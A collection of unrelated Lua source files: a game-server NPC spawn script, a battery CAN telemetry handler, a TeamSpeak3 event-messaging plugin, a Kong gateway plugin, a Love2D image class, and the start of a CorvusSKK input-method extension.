spawnSceneObject("mandalore", "object/tangible/terminal/terminal_elevator_up.iff", -8,-20,58.9,8566200,-0.707107,0,-0.707107,0)
spawnSceneObject("mandalore", "object/tangible/terminal/terminal_elevator_down.iff", 75,-20,58.9,8566225,0.707107,0,-0.707107,0)
spawnSceneObject("mandalore", "object/tangible/terminal/terminal_elevator_up.iff", 75,-50,58.9,8566225,0.707107,0,-0.707107,0)
end
function TaungWarriorBunker:spawnMobiles()
--Taung Warrior Bunker
spawnMobile("mandalore", "taung_warrior", 300, -6350.8, 2.0, 287.0, 0, 0)
spawnMobile("mandalore", "taung_warrior", 300, -6357.2, 2.0, 287.0, 0, 0)
spawnMobile("mandalore", "taung_warrior", 300, 0.1, 0.3, 3.5, -3, 8566191)
spawnMobile("mandalore", "taung_warrior", 300, -3.5, 0.3, -4.0, 0, 8566191)
spawnMobile("mandalore", "taung_warrior", 300, 3.3, 0.3, -4.1, -90, 8566192)
spawnMobile("mandalore", "taung_warrior", 300, 3.4, -12.0, 29.4, 179, 8566194)
spawnMobile("mandalore", "taung_warrior", 300, 13.2, -12.0, 25.4, -44, 8566195)
spawnMobile("mandalore", "taung_warrior", 300, 13.1, -12.0, 32.6, -145, 8566195)
spawnMobile("mandalore", "taung_warrior", 300, 23.2, -12.0, 35.2, 83, 8566195)
spawnMobile("mandalore", "taung_warrior", 300, 21.2, -12.0, 23.9, -50, 8566195)
spawnMobile("mandalore", "taung_warrior", 300, 17.4, -12.0, 54.9, 177, 8566197)
spawnMobile("mandalore", "taung_warrior", 300, 33.9, -12.0, 58.9, -86, 8566198)
spawnMobile("mandalore", "taung_warrior", 300, 56.0, -12.0, 62.9, -138, 8566198)
spawnMobile("mandalore", "taung_warrior", 300, 56.7, -12.0, 59.2, -92, 8566198)
spawnMobile("mandalore", "taung_warrior", 300, 55.9, -12.0, 53.1, -48, 8566198)
spawnMobile("mandalore", "taung_warrior", 300, 9.3, -12.0, 54.1, -34, 8566199)
spawnMobile("mandalore", "taung_warrior", 300, -1.7, -12.0, 54.2, 35, 8566199)
spawnMobile("mandalore", "taung_warrior", 300, 10.1, -12.0, 71.2, 101, 8566199)
spawnMobile("mandalore", "taung_warrior", 300, -3.4, -12.0, 72.4, 142, 8566199)
spawnMobile("mandalore", "taung_warrior", 300, -1.3, -12.0, 81.0, 146, 8566199)
spawnMobile("mandalore", "taung_warrior", 300, -11.8, -12.0, 92.9, 137, 8566205)
spawnMobile("mandalore", "taung_warrior", 300,-14.2, -12.0, 97.1, 82, 8566205)
spawnMobile("mandalore", "taung_warrior", 300, -13.3, -12.0, 104.3, -37, 8566205)
spawnMobile("mandalore", "taung_warrior", 300, -1.4, -12.0, 113.3, 107, 8566204)
spawnMobile("mandalore", "taung_warrior", 300, 7.2, -12.0, 115.3, -151, 8566204)
spawnMobile("mandalore", "taung_warrior", 300, 7.8, -12.0, 107.8, 142, 8566204)
spawnMobile("mandalore", "taung_warrior", 300, 17.4, -12.0, 101.0, -146, 8566203)
spawnMobile("mandalore", "taung_warrior", 300, 18.5, -12.0, 95.8, -67, 8566203)
spawnMobile("mandalore", "taung_warrior", 300, 32.7, -12.0, 74.9, -91, 8566206)
spawnMobile("mandalore", "taung_warrior", 300, 33.6, -20.0, 110.1, -177, 8566207)
spawnMobile("mandalore", "taung_warrior", 300, 40.3, -20.0, 111.0, -91, 8566208)
spawnMobile("mandalore", "taung_warrior", 300, 44.2, -20.0, 105.2, -43, 8566208)
spawnMobile("mandalore", "taung_warrior", 300, 52.5, -20.0, 106.0, 59, 8566208)
spawnMobile("mandalore", "taung_warrior", 300, 52.5, -20.0, 114.2, 0, 8566208)
spawnMobile("mandalore", "taung_warrior", 300, 43.4, -20.0, 116.6, -126, 8566208)
spawnMobile("mandalore", "taung_warrior", 300, 51.9, -20.0, 128.0, -123, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 42.5, -20.0, 128.9, 50, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 41.8, -20.0, 138.9, 121, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 41.2, -20.0, 146.4, 119, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 44.5, -20.0, 155.6, 26, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 51.3, -20.0, 155.1, -145, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 47.6, -20.0, 141.6, 177, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 53.0, -20.0, 135.4, -96, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 53.1, -20.0, 146.5, -91, 8566210)
spawnMobile("mandalore", "taung_warrior", 300, 64.8, -20.0, 151.0, -90, 8566211)
spawnMobile("mandalore", "taung_warrior", 300, 72.5, -20.0, 114.4, 126, 8566216)
spawnMobile("mandalore", "taung_warrior", 300, 62.8, -20.0, 106.9, 43, 8566216)
spawnMobile("mandalore", "taung_warrior", 300, 83.6, -20.0, 111.4, 0, 8566212)
spawnMobile("mandalore", "taung_warrior", 300, 95.2, -20.0, 115.3, -143, 8566215)
spawnMobile("mandalore", "taung_warrior", 300, 103.7, -20.0, 107.4, -74, 8566215)
spawnMobile("mandalore", "taung_warrior", 300, 97.9, -20.0, 127.6, -62, 8566214)
spawnMobile("mandalore", "taung_warrior", 300, 100.8, -20.0, 135.0, -108, 8566214)
spawnMobile("mandalore", "taung_warrior", 300, 72.2, -20.0, 129.2, 53, 8566217)
spawnMobile("mandalore", "taung_warrior", 300, 62.6, -20.0, 131.4, 88, 8566217)
spawnMobile("mandalore", "taung_warrior", 300, 83.9, -20.0, 143.8, -6, 8566212)
spawnMobile("mandalore", "taung_warrior", 300, 95.6, -20.0, 146.3, -49, 8566213)
spawnMobile("mandalore", "taung_warrior", 300, 95.4, -20.0, 153.8, -125, 8566213)
spawnMobile("mandalore", "taung_warrior", 300, 4.3, -20.0, 54.1, -51, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 11.5, -20.0, 58.7, -93, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 16.1, -20.0, 39.8, -148, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 23.1, -20.0, 39.4, 122, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 18.7, -20.0, 45.3, -88, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 34.5, -20.0, 54.5, -48, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 35.2, -20.0, 63.1, -143, 8566218)
spawnMobile("mandalore", "taung_warrior", 300, 48.4, -20.0, 59.0, -87, 8566221)
spawnMobile("mandalore", "taung_warrior", 300, 44.6, -20.0, 38.4, 38, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 69.4, -20.0, 39.1, -137, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 70.1, -20.0, 32.9, -58, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 60.7, -20.0, 28.0, -43, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 68.9, -20.0, 18.9, -63, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 60.2, -20.0, 16.0, -46, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 50.4, -20.0, 18.2, 7, 8566223)
spawnMobile("mandalore", "taung_warrior", 300, 63.1, -20.0, 54.7, -59, 8566224)
spawnMobile("mandalore", "taung_warrior", 300, 64.7, -20.0, 62.3, -122, 8566224)
spawnMobile("mandalore", "taung_warrior", 300, 68.6, -50.0, 64.6, -159, 8566226)
spawnMobile("mandalore", "taung_warrior", 300, 58.4, -50.0, 59.7, 88, 8566226)
spawnMobile("mandalore", "taung_warrior", 300, 58.2, -50.0, 47.5, 52, 8566226)
spawnMobile("mandalore", "taung_warrior", 300, 67.2, -50.0, 45.7, -26, 8566226)
spawnMobile("mandalore", "taung_warrior", 300, 58.8, -50.0, 38.1, 30, 8566226)
spawnMobile("mandalore", "taung_warrior", 300, 63.7, -50.0, 24.2, 0, 8566227)
spawnMobile("mandalore", "taung_warrior", 300, 63.5, -50.0, -1.6, 0, 8566228)
spawnMobile("mandalore", "taung_warrior", 300, 46.9, -50.0, -2.9, 93, 8566229)
spawnMobile("mandalore", "taung_warrior", 300, 38.5, -50.0, -9.3, 140, 8566229)
spawnMobile("mandalore", "taung_warrior", 300, 39.3, -50.0, 1.8, 109, 8566229)
spawnMobile("mandalore", "taung_warrior", 300, 46.0, -50.0, 29.8, 64, 8566230)
spawnMobile("mandalore", "taung_warrior", 300, 45.9, -50.0, 20.1, 36, 8566230)
spawnMobile("mandalore", "taung_warrior", 300, 36.4, -50.0, 25.3, 89, 8566230)
spawnMobile("mandalore", "taung_warrior", 300, 25.8, -50.0, 22.1, 52, 8566230)
spawnMobile("mandalore", "taung_warrior", 300, 21.5, -50.0, 29.4, 106, 8566230)
spawnMobile("mandalore", "taung_warrior", 300, 25.4, -50.0, 39.6, 178, 8566231)
spawnMobile("mandalore", "taung_warrior", 300, 25.4, -50.0, 61.5, -179, 8566232)
spawnMobile("mandalore", "taung_warrior", 300, 31.1, -50.0, 72.7, -74, 8566232)
spawnMobile("mandalore", "taung_warrior", 300, 11.4, -50.0, 91.0, 148, 8566232)
spawnMobile("mandalore", "taung_warrior", 300, 14.1, -50.0, 57.4, 32, 8566232)
spawnMobile("mandalore", "taung_warrior", 300, -1.4, -50.0, 72.9, 93, 8566233)
spawnMobile("mandalore", "taung_warrior", 300, -24.1, -50.0, 77.1, 127, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 63.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 62.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 61.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 60.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 59.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 58.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -62.7, -50.0, 57.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 63.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 62.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 61.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 60.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 59.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 58.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -63.7, -50.0, 57.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 63.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 62.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 61.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 60.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 59.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 58.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -64.7, -50.0, 57.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 63.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 62.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 61.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 60.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 59.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 58.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -65.7, -50.0, 57.0, 90, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -86.0, -50.0, 102.9, 175, 8566236)
spawnMobile("mandalore", "taung_warrior", 300, -79.9, -50.0, 116.5, -93, 8566236)
spawnMobile("mandalore", "taung_warrior", 300, -68.2, -50.0, 120.7, -133, 8566238)
spawnMobile("mandalore", "taung_warrior", 300, -66.5, -50.0, 111.7, -52, 8566238)
spawnMobile("mandalore", "taung_warrior", 300, -68.0, -50.0, 5.2, 1, 8566235)
spawnMobile("mandalore", "taung_warrior", 300, -54.1, -50.0, 0.1, -89, 8566235)
spawnMobile("mandalore", "taung_warrior", 300, -41.8, -50.0, 5.0, -136, 8566237)
spawnMobile("mandalore", "taung_warrior", 300, -41.3, -50.0, -4.1, -50, 8566237)
--spawnMobile("mandalore", "dw_at", 300, -112.0, -50.0, 53.9, 87, 8566234)
spawnMobile("mandalore", "taung_warrior", 300, -53.6, -50.0, 116.4, -86, 8566238)
spawnMobile("mandalore", "mandalore_the_resurrector", 1800, -22.8, -50.0, 0.4, -93, 8566237)
end
|
telemetry = {}
function main()
local err = can.init(500, can_handler)
if err and err ~= 0 then
enapter.log("CAN failed: "..err.." "..can.err_to_str(err), "error", true)
end
scheduler.add(30000, properties)
scheduler.add(1000, metrics)
end
function properties()
enapter.send_properties({ vendor = "PylonTech", model = "US2000" })
end
function metrics()
if next(telemetry) ~= nil then
enapter.send_telemetry(telemetry)
end
end
function can_handler(msg_id, data)
if msg_id == 0x359 then
local byte0, byte1, byte2, byte3 = string.unpack("<I1<I1<I1<I1", data)
local alerts = {}
if byte0 & 2 ~=0 then
table.insert(alerts, "cell_or_module_over_voltage")
end
if byte0 & 4 ~= 0 then
table.insert(alerts, "cell_or_module_under_voltage")
end
if byte0 & 8 ~= 0 then
table.insert(alerts, "cell_over_temperature")
end
if byte0 & 16 ~= 0 then
table.insert(alerts, "cell_under_temperature")
end
if byte0 & 16 ~= 0 then
table.insert(alerts, "discharge_over_current")
end
if byte0 == 0 then
telemetry["has_protection1"] = false
else
telemetry["has_protection1"] = true
telemetry["status"] = "warning"
end
if byte1 & 1 ~=0 then
table.insert(alerts, "charge_over_current")
end
if byte1 & 8 ~= 0 then
table.insert(alerts, "system_error")
end
if byte1 == 0 then
telemetry["has_protection2"] = false
else
telemetry["has_protection2"] = true
telemetry["status"] = "warning"
end
if byte2 & 2 ~=0 then
table.insert(alerts, "cell_or_module_high_voltage")
end
if byte2 & 4 ~= 0 then
table.insert(alerts, "cell_or_module_low_voltage")
end
if byte2 & 8 ~= 0 then
table.insert(alerts, "cell_high_temperature")
end
if byte2 & 16 ~= 0 then
table.insert(alerts, "cell_low_temperature")
end
if byte2 & 16 ~= 0 then
table.insert(alerts, "discharge_high_current")
end
if byte2 == 0 then
telemetry["has_alarm1"] = false
else
telemetry["has_alarm1"] = true
telemetry["status"] = "warning"
end
if byte3 & 1 ~=0 then
table.insert(alerts, "charge_high_current")
end
if byte3 & 8 ~= 0 then
table.insert(alerts, "internal_communication_fail")
end
if byte3 == 0 then
telemetry["has_alarm2"] = false
else
telemetry["has_alarm2"] = true
telemetry["status"] = "warning"
end
if #alerts == 0 then
telemetry["status"] = "ok"
end
telemetry["alerts"] = alerts
end
if msg_id == 0x351 then
local byte_pair1, byte_pair2, byte_pair3, byte_pair4 = string.unpack("I2i2i2I2", data)
telemetry["battery_charge_voltage"] = byte_pair1 / 10.0
telemetry["charge_current_limit"] = byte_pair2 / 10.0
telemetry["discharge_current_limit"] = byte_pair3 / 10.0
telemetry["discharge_voltage"] = byte_pair4 / 10.0
end
if msg_id == 0x355 then
local soc, soh = string.unpack("I2I2", data)
telemetry["soh"] = soh
telemetry["soc"] = soc
end
if msg_id == 0x356 then
local voltage, current, temp = string.unpack("I2i2i2", data)
telemetry["voltage"] = voltage / 100.0
telemetry["total_current"] = current / 10.0
telemetry["average_cell_temperature"] = temp / 10.0
end
if msg_id == 0x35C then
local byte = string.unpack("<I1", data)
if byte & 8 ~= 0 then
telemetry["request_force_charge"] = true
else
telemetry["request_force_charge"] = false
end
if byte & 16 ~= 0 then
telemetry["request_force_charge_2"] = true
else
telemetry["request_force_charge_2"] = false
end
if byte & 32 ~= 0 then
telemetry["request_force_charge_1"] = true
else
telemetry["request_force_charge_1"] = false
end
if byte & 64 ~= 0 then
telemetry["discharge_enable"] = true
else
telemetry["discharge_enable"] = false
end
if byte & 128 ~= 0 then
telemetry["charge_enable"] = true
else
telemetry["charge_enable"] = false
end
end
end
main()
|
x = {}
y = {}
z = {}
setmetatable(y, z)
print (getmetatable(x))
print (getmetatable(y)) |
local Node = require 'amour.node'
local Image = Node:extend()
function Image:new(x, y, image, color)
self.image = (type(image) == 'string' and love.graphics.newImage(image)) or image
self.color = color or { 1, 1, 1, 1 }
Image.super.new(self, x, y, self.image:getDimensions())
end
function Image:realdraw()
local color = self.color
local x0, y0 = self:getLeftTop()
love.graphics.setColor(color[1], color[2], color[3], color[4])
love.graphics.draw(self.image, x0, y0)
end
return Image |
--[[
Jeder Client der in einem Channel ist, dessen Channelnamen etwas von der Blacklist beinhaltet, wird nicht angestupst.
z.B. blacklistchannel = {"Aufnahme"}
Alle Clients die in den Aufnahme Channeln sind werden nicht angestupst.
z.B. blacklistchannel = {"Aufnahme","Micha"}
Alle Clients die in den Aufnahme Channeln oder Michas Büro sind werden nicht angestupst.
Weitere Namen müssen wie folgt hinzu gefügt werden. z.B. Packie
1. Man setzt es in Anführungszeichen: "Packie"
2. Man setzt ein Koma davor: ,"Packie"
3. Man fügt es der Blacklist hinzu:
blacklistchannel = {"Aufnahme","Packie"}
Das wiederholt man falls man andere Channel hinzufügen will:
blacklistchannel = {"Aufnahme","Packie","Micha"}
]]--
--Standard:
--blacklistchannel = {"Aufnahme"}
blacklistchannel = {"Aufnahme"}
require("ts3defs")
require("ts3errors")
serverConnectionHandlerID = ts3.getCurrentServerConnectionHandlerID()
function xprint(msg)
ts3.printMessageToCurrentTab(msg)
end
xprint("Konfiguration ist am Anfang der Datei: <TeamSpeak3>\\plugins\\lua_plugin\\xlife\\main.lua")
xprint("Befehle:")
--xprint("ID mit Clientname: '/lua run IDs'")
xprint("Massenanstupsen: '/lua run mapo <Nachricht>'")
xprint("z.B. /lua run mapo Event startet in 30 min!")
xprint("Massenmoven: '/lua run mamo <Passwort>'")
xprint("z.B. /lua run mamo sadfklöashödsajhf")
xprint("z.B. /lua run mamo")
xprint("© xLife | Felix")
--[[
function IDs(serverConnectionHandlerID)
Clients = ts3.getClientList(serverConnectionHandlerID)
for i = 1, #Clients do
local Nickname, error = ts3.getClientVariableAsString(serverConnectionHandlerID, Clients[i], ts3defs.ClientProperties.CLIENT_NICKNAME)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting client nickname: " .. error .. " | ID: " .. Clients[i])
return
end
xprint("ID: " .. Clients[i] .. " | Nickname: " .. Nickname)
end
end
]]
function mamo(serverConnectionHandlerID, password)
local myClientID = ts3.getClientID(serverConnectionHandlerID)
local Clients, error = ts3.getClientList(serverConnectionHandlerID)
if error == ts3errors.ERROR_not_connected then
xprint("Not connected")
return
elseif error ~= ts3errors.ERROR_ok then
xprint("Error getting client list: " .. error)
return
end
local ChannelIDs, error = ts3.getChannelList(serverConnectionHandlerID)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting ChannelIDs: " .. error)
return
end
local ChannelNames = {}
local blacklistmp = {}
for i = 1, #ChannelIDs do
local ChannelName, error = ts3.getChannelVariableAsString(serverConnectionHandlerID, ChannelIDs[i], ts3defs.ChannelProperties.CHANNEL_NAME)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting channel name: " .. error)
return
end
ChannelNames[#ChannelNames+1] = {ChannelIDs[i], ChannelName}
end
for i,v in ipairs(ChannelNames) do
for i2,v2 in ipairs(blacklistchannel) do
if tostring(string.find(string.lower(v[2]), string.lower(v2))) ~= "nil" then
blacklistmp[#blacklistmp+1] = v[1]
end
end
end
for i = 1, #Clients do
if Clients[i] ~= myClientID then
local ChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, Clients[i])
if error ~= ts3errors.ERROR_ok then
xprint("Error getting own channel: " .. error)
return
end
poke = true
for i,v in ipairs(blacklistmp) do
if v == ChannelID then
poke = false
end
end
local Nickname, error = ts3.getClientVariableAsString(serverConnectionHandlerID, Clients[i], ts3defs.ClientProperties.CLIENT_NICKNAME)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting client nickname: " .. error .. " | ID: " .. Clients[i])
return
end
if poke == true then pokestring = "Ja" else pokestring = "Nein" end
xprint("ID: "..tostring(Clients[i]).." | Nickname: "..Nickname.." | Gemovet: "..pokestring)
if poke == true then
local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
if password ~= nil then
local error = ts3.requestClientMove(serverConnectionHandlerID, Clients[i], myChannelID, password)
else
local error = ts3.requestClientMove(serverConnectionHandlerID, Clients[i], myChannelID, "")
end
if error ~= ts3errors.ERROR_ok then
xprint("Error moving: " .. error)
return
end
end
end
end
end
function ChID(serverConnectionHandlerID)
local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
if error ~= ts3errors.ERROR_ok then
print("Error getting own ID: " .. error)
return
end
local channelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
if error ~= ts3errors.ERROR_ok then
print("Error getting own channel: " .. error)
return
end
local channelName, error = ts3.getChannelVariableAsString(serverConnectionHandlerID, channelID, ts3defs.ChannelProperties.CHANNEL_NAME)
if error ~= ts3errors.ERROR_ok then
print("Error getting channel name: " .. error)
return
end
xprint("ID: "..channelID.." | "..channelName)
end
function mapo(serverConnectionHandlerID, ...)
local myClientID = ts3.getClientID(serverConnectionHandlerID)
local Clients, error = ts3.getClientList(serverConnectionHandlerID)
if error == ts3errors.ERROR_not_connected then
xprint("Not connected")
return
elseif error ~= ts3errors.ERROR_ok then
xprint("Error getting client list: " .. error)
return
end
local argMsg = ""
for i,v in ipairs(arg) do
argMsg = argMsg .. tostring(v) .. " "
end
if string.len(argMsg) > 0 and string.len(argMsg) <= 100 then
local ChannelIDs, error = ts3.getChannelList(serverConnectionHandlerID)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting ChannelIDs: " .. error)
return
end
local ChannelNames = {}
local blacklistmp = {}
for i = 1, #ChannelIDs do
local ChannelName, error = ts3.getChannelVariableAsString(serverConnectionHandlerID, ChannelIDs[i], ts3defs.ChannelProperties.CHANNEL_NAME)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting channel name: " .. error)
return
end
ChannelNames[#ChannelNames+1] = {ChannelIDs[i], ChannelName}
end
for i,v in ipairs(ChannelNames) do
for i2,v2 in ipairs(blacklistchannel) do
if tostring(string.find(string.lower(v[2]), string.lower(v2))) ~= "nil" then
blacklistmp[#blacklistmp+1] = v[1]
end
end
end
for i = 1, #Clients do
if Clients[i] ~= myClientID then
local ChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, Clients[i])
if error ~= ts3errors.ERROR_ok then
xprint("Error getting own channel: " .. error)
return
end
poke = true
for i,v in ipairs(blacklistmp) do
if v == ChannelID then
poke = false
end
end
local Nickname, error = ts3.getClientVariableAsString(serverConnectionHandlerID, Clients[i], ts3defs.ClientProperties.CLIENT_NICKNAME)
if error ~= ts3errors.ERROR_ok then
xprint("Error getting client nickname: " .. error .. " | ID: " .. Clients[i])
return
end
if poke == true then pokestring = "Ja" else pokestring = "Nein" end
xprint("ID: "..tostring(Clients[i]).." | Nickname: "..Nickname.." | Angestupst: "..pokestring)
if poke == true then
-- local error = ts3.requestClientPoke(serverConnectionHandlerID, Clients[i], argMsg)
local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, Clients[i])
if error ~= ts3errors.ERROR_ok then
xprint("Error poking: " .. error)
return
end
end
end
end
elseif string.len(argMsg) <= 0 then
xprint("Nachricht zu kurz")
elseif string.len(argMsg) > 100 then
xprint("Nachricht zu lang")
end
end
xprint("Eventmanager Massenanstupsen initialisiert!") |
local BasePlugin = require "kong.plugins.base_plugin"
local access = require "kong.plugins.network-jitter.access"
local header_filter = require "kong.plugins.network-jitter.header_filter"
local body_filter = require "kong.plugins.network-jitter.body_filter"
local NetWorkJitterHandler = BasePlugin:extend()
function NetWorkJitterHandler:new()
NetWorkJitterHandler.super.new(self, "network-jitter")
end
function NetWorkJitterHandler:access(conf)
NetWorkJitterHandler.super.access(self)
access.execute(conf)
local ctx = ngx.ctx
ctx.rt_body_chunks = {}
ctx.rt_body_chunk_number = 1
end
function NetWorkJitterHandler:header_filter(conf)
NetWorkJitterHandler.super.header_filter(self)
header_filter.transform_headers(conf, ngx.header)
end
function NetWorkJitterHandler:body_filter(conf)
NetWorkJitterHandler.super.body_filter(self)
if header_filter.is_body_transform_set(conf) and header_filter.is_json_body(ngx.header["content-type"]) then
local ctx = ngx.ctx
local chunk, eof = ngx.arg[1], ngx.arg[2]
if eof then
local body = body_filter.transform_json_body(conf, table.concat(ctx.rt_body_chunks))
ngx.arg[1] = body
else
ctx.rt_body_chunks[ctx.rt_body_chunk_number] = chunk
ctx.rt_body_chunk_number = ctx.rt_body_chunk_number + 1
ngx.arg[1] = nil
end
end
end
function NetWorkJitterHandler:log(conf)
NetWorkJitterHandler.super.log(self)
ngx.log(ngx.ERR, "[done]")
end
NetWorkJitterHandler.PRIORITY = 1001
NetWorkJitterHandler.VERSION = "0.1.1"
return NetWorkJitterHandler
|
#!/usr/bin/env lua
local exec = require "tek.lib.exec"
local c = exec.run({ taskname = "worker", func = function()
local exec = require "tek.lib.exec"
while true do
local order, sender = exec.waitmsg()
if order == "getrandom" then
exec.sendmsg(sender, math.random(1, 10))
elseif order == "quit" then
break
end
end
end })
for i = 1, 10 do
exec.run(function()
local exec = require "tek.lib.exec"
for i = 1, 10 do
exec.sendmsg("worker", "getrandom")
local number = exec.waitmsg()
exec.sendmsg("*p", number)
end
end)
end
for i = 1, 100 do
print(exec.waitmsg())
end
c:sendmsg("quit")
c:join()
|
--[[
CorvusSKK Lua拡張スクリプト
Cから呼ばれるLuaの関数
辞書検索
lua_skk_search(key, okuri)
key : 見出し語 string
okuri : 送り仮名 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
補完
lua_skk_complement(key)
key : 見出し語 string
戻り値 : "/<K1>/<K2>/.../<Kn>/\n" or "" string
見出し語変換
lua_skk_convert_key(key, okuri)
key : 見出し語 string
okuri : 送り仮名 string
戻り値 : 変換済み文字列 string
候補変換
lua_skk_convert_candidate(key, candidate, okuri)
key : 見出し語 string
candidate : 候補 string
okuri : 送り仮名 string
戻り値 : 変換済み文字列 string
辞書追加
lua_skk_add(okuriari, key, candidate, annotation, okuri)
okuriari : boolean (送りあり:true/送りなし:false)
key : 見出し語 string
candidate : 候補 string
annotation : 注釈 string
okuri : 送り仮名 string
戻り値 : なし
辞書削除
lua_skk_delete(okuriari, key, candidate)
okuriari : boolean (送りあり:true/送りなし:false)
key : 見出し語 string
candidate : 候補 string
戻り値 : なし
辞書保存
lua_skk_save()
戻り値 : なし
Luaから呼ばれるCの関数
ユーザー辞書検索
crvmgr.search_user_dictionary(key, okuri)
key : 見出し語 string
okuri : 送り仮名 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
SKK辞書検索
crvmgr.search_skk_dictionary(key, okuri)
key : 見出し語 string
okuri : 送り仮名 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
SKK辞書サーバー検索
crvmgr.search_skk_server(key)
key : 見出し語 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
SKK辞書サーバー情報検索
crvmgr.search_skk_server_info()
戻り値 : SKK Serverプロトコル"2"の結果 バージョン番号 string
SKK Serverプロトコル"3"の結果 ホスト名 string
Unicodeコードポイント変換
crvmgr.search_unicode(key)
key : 見出し語 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
JIS X 0213面区点番号変換
crvmgr.search_jisx0213(key)
key : 見出し語 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
JIS X 0208区点番号変換
crvmgr.search_jisx0208(key)
key : 見出し語 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
文字コード表記変換 (ASCII, JIS X 0201(片仮名, 8bit), JIS X 0213 / Unicode)
crvmgr.search_character_code(key)
key : 見出し語 string
戻り値 : "/<C1><;A1>/<C2><;A2>/.../<Cn><;An>/\n" or "" string
補完
crvmgr.complement(key)
key : 見出し語 string
戻り値 : "/<K1>/<K2>/.../<Kn>/\n" or "" string
辞書追加
crvmgr.add(okuriari, key, candidate, annotation, okuri)
okuriari : boolean (送りあり:true/送りなし:false)
key : 見出し語 string
candidate : 候補 string
annotation : 注釈 string
okuri : 送り仮名 string
戻り値 : なし
辞書削除
crvmgr.delete(okuriari, key, candidate)
okuriari : boolean (送りあり:true/送りなし:false)
key : 見出し語 string
candidate : 候補 string
戻り値 : なし
辞書保存
crvmgr.save()
戻り値 : なし
Cから定義される変数
バージョン (skk-version)に使用
SKK_VERSION
"CorvusSKK X.Y.Z" string
--]]
-- 数値変換
enable_skk_convert_num = true
-- 実行変換
enable_skk_convert_gadget = true
-- skk-ignore-dic-word
enable_skk_ignore_dic_word = false
-- skk-search-sagyo-henkaku (t:true/anything:false)
enable_skk_search_sagyo_only = true
-- 数値変換タイプ1 (全角数字)
local skk_num_type1_table = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}
-- 数値変換タイプ2, 3 (漢数字)
